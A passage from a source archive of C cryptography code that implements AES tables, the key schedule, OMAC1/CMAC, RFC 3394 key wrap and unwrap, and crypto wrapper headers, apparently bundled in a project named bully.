0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
};
const u32 rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000,
0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
};
#else /* AES_SMALL_TABLES */
const u8 Td4s[256] = {
0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U,
0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU,
0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U,
0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU,
0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU,
0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU,
0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U,
0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U,
0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U,
0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U,
0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU,
0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U,
0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU,
0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U,
0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U,
0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU,
0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU,
0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U,
0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U,
0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU,
0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U,
0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU,
0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U,
0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U,
0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U,
0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU,
0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU,
0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU,
0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U,
0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U,
0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U,
0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU,
};
const u8 rcons[] = {
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
};
#endif /* AES_SMALL_TABLES */
/**
* Expand the cipher key into the encryption key schedule.
*
* @return the number of rounds for the given cipher key size.
*/
void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[])
{
int i;
u32 temp;
rk[0] = GETU32(cipherKey );
rk[1] = GETU32(cipherKey + 4);
rk[2] = GETU32(cipherKey + 8);
rk[3] = GETU32(cipherKey + 12);
for (i = 0; i < 10; i++) {
temp = rk[3];
rk[4] = rk[0] ^
TE421(temp) ^ TE432(temp) ^ TE443(temp) ^ TE414(temp) ^
RCON(i);
rk[5] = rk[1] ^ rk[4];
rk[6] = rk[2] ^ rk[5];
rk[7] = rk[3] ^ rk[6];
rk += 4;
}
}
bully-1.4-00/src/crypto/aes-omac1.c 0000775 0000000 0000000 00000005752 13615304636 0016766 0 ustar 00root root 0000000 0000000 /*
* One-key CBC MAC (OMAC1) hash with AES-128
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
static void gf_mulx(u8 *pad)
{
int i, carry;
carry = pad[0] & 0x80;
for (i = 0; i < AES_BLOCK_SIZE - 1; i++)
pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7);
pad[AES_BLOCK_SIZE - 1] <<= 1;
if (carry)
pad[AES_BLOCK_SIZE - 1] ^= 0x87;
}
/**
* omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128
* @key: 128-bit key for the hash operation
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for MAC (128 bits, i.e., 16 bytes)
* Returns: 0 on success, -1 on failure
*
* This is a mode for using block cipher (AES in this case) for authentication.
* OMAC1 was standardized with the name CMAC by NIST in a Special Publication
* (SP) 800-38B.
*/
int omac1_aes_128_vector(const u8 *key, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
void *ctx;
u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE];
const u8 *pos, *end;
size_t i, e, left, total_len;
ctx = aes_encrypt_init(key, 16);
if (ctx == NULL)
return -1;
os_memset(cbc, 0, AES_BLOCK_SIZE);
total_len = 0;
for (e = 0; e < num_elem; e++)
total_len += len[e];
left = total_len;
e = 0;
pos = addr[0];
end = pos + len[0];
while (left >= AES_BLOCK_SIZE) {
for (i = 0; i < AES_BLOCK_SIZE; i++) {
cbc[i] ^= *pos++;
if (pos >= end) {
e++;
pos = addr[e];
end = pos + len[e];
}
}
if (left > AES_BLOCK_SIZE)
aes_encrypt(ctx, cbc, cbc);
left -= AES_BLOCK_SIZE;
}
os_memset(pad, 0, AES_BLOCK_SIZE);
aes_encrypt(ctx, pad, pad);
gf_mulx(pad);
if (left || total_len == 0) {
for (i = 0; i < left; i++) {
cbc[i] ^= *pos++;
if (pos >= end) {
e++;
pos = addr[e];
end = pos + len[e];
}
}
cbc[left] ^= 0x80;
gf_mulx(pad);
}
for (i = 0; i < AES_BLOCK_SIZE; i++)
pad[i] ^= cbc[i];
aes_encrypt(ctx, pad, mac);
aes_encrypt_deinit(ctx);
return 0;
}
/**
* omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC)
* @key: 128-bit key for the hash operation
* @data: Data buffer for which a MAC is determined
* @data_len: Length of data buffer in bytes
* @mac: Buffer for MAC (128 bits, i.e., 16 bytes)
* Returns: 0 on success, -1 on failure
*
* This is a mode for using block cipher (AES in this case) for authentication.
* OMAC1 was standardized with the name CMAC by NIST in a Special Publication
* (SP) 800-38B.
*/
int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac)
{
return omac1_aes_128_vector(key, 1, &data, &data_len, mac);
}
bully-1.4-00/src/crypto/aes-unwrap.c 0000775 0000000 0000000 00000003554 13615304636 0017300 0 ustar 00root root 0000000 0000000 /*
* AES key unwrap (128-bit KEK, RFC3394)
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
* @kek: Key encryption key (KEK)
* @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16
* bytes
* @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits
* @plain: Plaintext key, n * 64 bits
* Returns: 0 on success, -1 on failure (e.g., integrity verification failed)
*/
int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain)
{
u8 a[8], *r, b[16];
int i, j;
void *ctx;
/* 1) Initialize variables. */
os_memcpy(a, cipher, 8);
r = plain;
os_memcpy(r, cipher + 8, 8 * n);
ctx = aes_decrypt_init(kek, 16);
if (ctx == NULL)
return -1;
/* 2) Compute intermediate values.
* For j = 5 to 0
* For i = n to 1
* B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i
* A = MSB(64, B)
* R[i] = LSB(64, B)
*/
for (j = 5; j >= 0; j--) {
r = plain + (n - 1) * 8;
for (i = n; i >= 1; i--) {
os_memcpy(b, a, 8);
b[7] ^= n * j + i;
os_memcpy(b + 8, r, 8);
aes_decrypt(ctx, b, b);
os_memcpy(a, b, 8);
os_memcpy(r, b + 8, 8);
r -= 8;
}
}
aes_decrypt_deinit(ctx);
/* 3) Output results.
*
* These are already in @plain due to the location of temporary
* variables. Just verify that the IV matches with the expected value.
*/
for (i = 0; i < 8; i++) {
if (a[i] != 0xa6)
return -1;
}
return 0;
}
bully-1.4-00/src/crypto/aes-wrap.c 0000775 0000000 0000000 00000003333 13615304636 0016730 0 ustar 00root root 0000000 0000000 /*
* AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
* @kek: 16-octet Key encryption key (KEK)
* @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16
* bytes
* @plain: Plaintext key to be wrapped, n * 64 bits
* @cipher: Wrapped key, (n + 1) * 64 bits
* Returns: 0 on success, -1 on failure
*/
int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher)
{
u8 *a, *r, b[16];
int i, j;
void *ctx;
a = cipher;
r = cipher + 8;
/* 1) Initialize variables. */
os_memset(a, 0xa6, 8);
os_memcpy(r, plain, 8 * n);
ctx = aes_encrypt_init(kek, 16);
if (ctx == NULL)
return -1;
/* 2) Calculate intermediate values.
* For j = 0 to 5
* For i=1 to n
* B = AES(K, A | R[i])
* A = MSB(64, B) ^ t where t = (n*j)+i
* R[i] = LSB(64, B)
*/
for (j = 0; j <= 5; j++) {
r = cipher + 8;
for (i = 1; i <= n; i++) {
os_memcpy(b, a, 8);
os_memcpy(b + 8, r, 8);
aes_encrypt(ctx, b, b);
os_memcpy(a, b, 8);
a[7] ^= n * j + i;
os_memcpy(r, b + 8, 8);
r += 8;
}
}
aes_encrypt_deinit(ctx);
/* 3) Output the results.
*
* These are already in @cipher due to the location of temporary
* variables.
*/
return 0;
}
bully-1.4-00/src/crypto/aes.h 0000775 0000000 0000000 00000001401 13615304636 0015760 0 ustar 00root root 0000000 0000000 /*
* AES functions
* Copyright (c) 2003-2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef AES_H
#define AES_H
#define AES_BLOCK_SIZE 16
void * aes_encrypt_init(const u8 *key, size_t len);
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt);
void aes_encrypt_deinit(void *ctx);
void * aes_decrypt_init(const u8 *key, size_t len);
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain);
void aes_decrypt_deinit(void *ctx);
#endif /* AES_H */
bully-1.4-00/src/crypto/aes_i.h 0000775 0000000 0000000 00000007564 13615304636 0016310 0 ustar 00root root 0000000 0000000 /*
* AES (Rijndael) cipher
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef AES_I_H
#define AES_I_H
#include "aes.h"
/* #define FULL_UNROLL */
#define AES_SMALL_TABLES
extern const u32 Te0[256];
extern const u32 Te1[256];
extern const u32 Te2[256];
extern const u32 Te3[256];
extern const u32 Te4[256];
extern const u32 Td0[256];
extern const u32 Td1[256];
extern const u32 Td2[256];
extern const u32 Td3[256];
extern const u32 Td4[256];
extern const u32 rcon[10];
extern const u8 Td4s[256];
extern const u8 rcons[10];
#ifndef AES_SMALL_TABLES
#define RCON(i) rcon[(i)]
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) Te1[((i) >> 16) & 0xff]
#define TE2(i) Te2[((i) >> 8) & 0xff]
#define TE3(i) Te3[(i) & 0xff]
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
#define TE4(i) (Te4[(i)] & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) Td1[((i) >> 16) & 0xff]
#define TD2(i) Td2[((i) >> 8) & 0xff]
#define TD3(i) Td3[(i) & 0xff]
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) Td1[(i) & 0xff]
#define TD2_(i) Td2[(i) & 0xff]
#define TD3_(i) Td3[(i) & 0xff]
#else /* AES_SMALL_TABLES */
#define RCON(i) (rcons[(i)] << 24)
static inline u32 rotr(u32 val, int bits)
{
return (val >> bits) | (val << (32 - bits));
}
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
#define TD44(i) (Td4s[(i) & 0xff])
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
#endif /* AES_SMALL_TABLES */
#ifdef _MSC_VER
#define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00)
#define GETU32(p) SWAP(*((u32 *)(p)))
#define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); }
#else
#define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \
((u32)(pt)[2] << 8) ^ ((u32)(pt)[3]))
#define PUTU32(ct, st) { \
(ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \
(ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); }
#endif
#define AES_PRIV_SIZE (4 * 44)
void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]);
#endif /* AES_I_H */
bully-1.4-00/src/crypto/aes_wrap.h 0000775 0000000 0000000 00000003442 13615304636 0017020 0 ustar 00root root 0000000 0000000 /*
* AES-based functions
*
* - AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
* - One-Key CBC MAC (OMAC1) hash with AES-128
* - AES-128 CTR mode encryption
* - AES-128 EAX mode encryption/decryption
* - AES-128 CBC
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef AES_WRAP_H
#define AES_WRAP_H
int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher);
int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain);
int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem,
const u8 *addr[], const size_t *len,
u8 *mac);
int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len,
u8 *mac);
int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out);
int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce,
u8 *data, size_t data_len);
int __must_check aes_128_eax_encrypt(const u8 *key,
const u8 *nonce, size_t nonce_len,
const u8 *hdr, size_t hdr_len,
u8 *data, size_t data_len, u8 *tag);
int __must_check aes_128_eax_decrypt(const u8 *key,
const u8 *nonce, size_t nonce_len,
const u8 *hdr, size_t hdr_len,
u8 *data, size_t data_len, const u8 *tag);
int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data,
size_t data_len);
int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data,
size_t data_len);
#endif /* AES_WRAP_H */
bully-1.4-00/src/crypto/crypto.h 0000775 0000000 0000000 00000040177 13615304636 0016545 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / wrapper functions for crypto libraries
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*
* This file defines the cryptographic functions that need to be implemented
* for wpa_supplicant and hostapd. When TLS is not used, internal
* implementation of MD5, SHA1, and AES is used and no external libraries are
* required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the
* crypto library used by the TLS implementation is expected to be used for
* non-TLS needs, too, in order to save space by not implementing these
* functions twice.
*
* Wrapper code for using each crypto library is in its own file (crypto*.c)
* and one of these files is build and linked in to provide the functions
* defined here.
*/
#ifndef CRYPTO_H
#define CRYPTO_H
/**
* md4_vector - MD4 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 on failure
*/
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac);
/**
* md5_vector - MD5 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 on failure
*/
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac);
#ifdef CONFIG_FIPS
/**
* md5_vector_non_fips_allow - MD5 hash for data vector (non-FIPS use allowed)
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 on failure
*/
int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[],
const size_t *len, u8 *mac);
#else /* CONFIG_FIPS */
#define md5_vector_non_fips_allow md5_vector
#endif /* CONFIG_FIPS */
/**
* sha1_vector - SHA-1 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 on failure
*/
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac);
/**
* fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF
* @seed: Seed/key for the PRF
* @seed_len: Seed length in bytes
* @x: Buffer for PRF output
* @xlen: Output length in bytes
* Returns: 0 on success, -1 on failure
*
* This function implements random number generation specified in NIST FIPS
* Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to
* SHA-1, but has different message padding.
*/
int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x,
size_t xlen);
/**
* sha256_vector - SHA256 hash for data vector
* @num_elem: Number of elements in the data vector
* @addr: Pointers to the data areas
* @len: Lengths of the data blocks
* @mac: Buffer for the hash
* Returns: 0 on success, -1 on failure
*/
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
u8 *mac);
/**
* des_encrypt - Encrypt one block with DES
* @clear: 8 octets (in)
* @key: 7 octets (in) (no parity bits included)
* @cypher: 8 octets (out)
*/
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher);
/**
* aes_encrypt_init - Initialize AES for encryption
* @key: Encryption key
* @len: Key length in bytes (usually 16, i.e., 128 bits)
* Returns: Pointer to context data or %NULL on failure
*/
void * aes_encrypt_init(const u8 *key, size_t len);
/**
* aes_encrypt - Encrypt one AES block
* @ctx: Context pointer from aes_encrypt_init()
* @plain: Plaintext data to be encrypted (16 bytes)
* @crypt: Buffer for the encrypted data (16 bytes)
*/
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt);
/**
* aes_encrypt_deinit - Deinitialize AES encryption
* @ctx: Context pointer from aes_encrypt_init()
*/
void aes_encrypt_deinit(void *ctx);
/**
* aes_decrypt_init - Initialize AES for decryption
* @key: Decryption key
* @len: Key length in bytes (usually 16, i.e., 128 bits)
* Returns: Pointer to context data or %NULL on failure
*/
void * aes_decrypt_init(const u8 *key, size_t len);
/**
* aes_decrypt - Decrypt one AES block
* @ctx: Context pointer from aes_encrypt_init()
* @crypt: Encrypted data (16 bytes)
* @plain: Buffer for the decrypted data (16 bytes)
*/
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain);
/**
* aes_decrypt_deinit - Deinitialize AES decryption
* @ctx: Context pointer from aes_encrypt_init()
*/
void aes_decrypt_deinit(void *ctx);
enum crypto_hash_alg {
CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1,
CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1
};
struct crypto_hash;
/**
* crypto_hash_init - Initialize hash/HMAC function
* @alg: Hash algorithm
* @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed
* @key_len: Length of the key in bytes
* Returns: Pointer to hash context to use with other hash functions or %NULL
* on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
size_t key_len);
/**
* crypto_hash_update - Add data to hash calculation
* @ctx: Context pointer from crypto_hash_init()
* @data: Data buffer to add
* @len: Length of the buffer
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len);
/**
* crypto_hash_finish - Complete hash calculation
* @ctx: Context pointer from crypto_hash_init()
* @hash: Buffer for hash value or %NULL if caller is just freeing the hash
* context
* @len: Pointer to length of the buffer or %NULL if caller is just freeing the
* hash context; on return, this is set to the actual length of the hash value
* Returns: 0 on success, -1 if buffer is too small (len set to needed length),
* or -2 on other failures (including failed crypto_hash_update() operations)
*
* This function calculates the hash value and frees the context buffer that
* was used for hash calculation.
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len);
enum crypto_cipher_alg {
CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES,
CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4
};
struct crypto_cipher;
/**
* crypto_cipher_init - Initialize block/stream cipher function
* @alg: Cipher algorithm
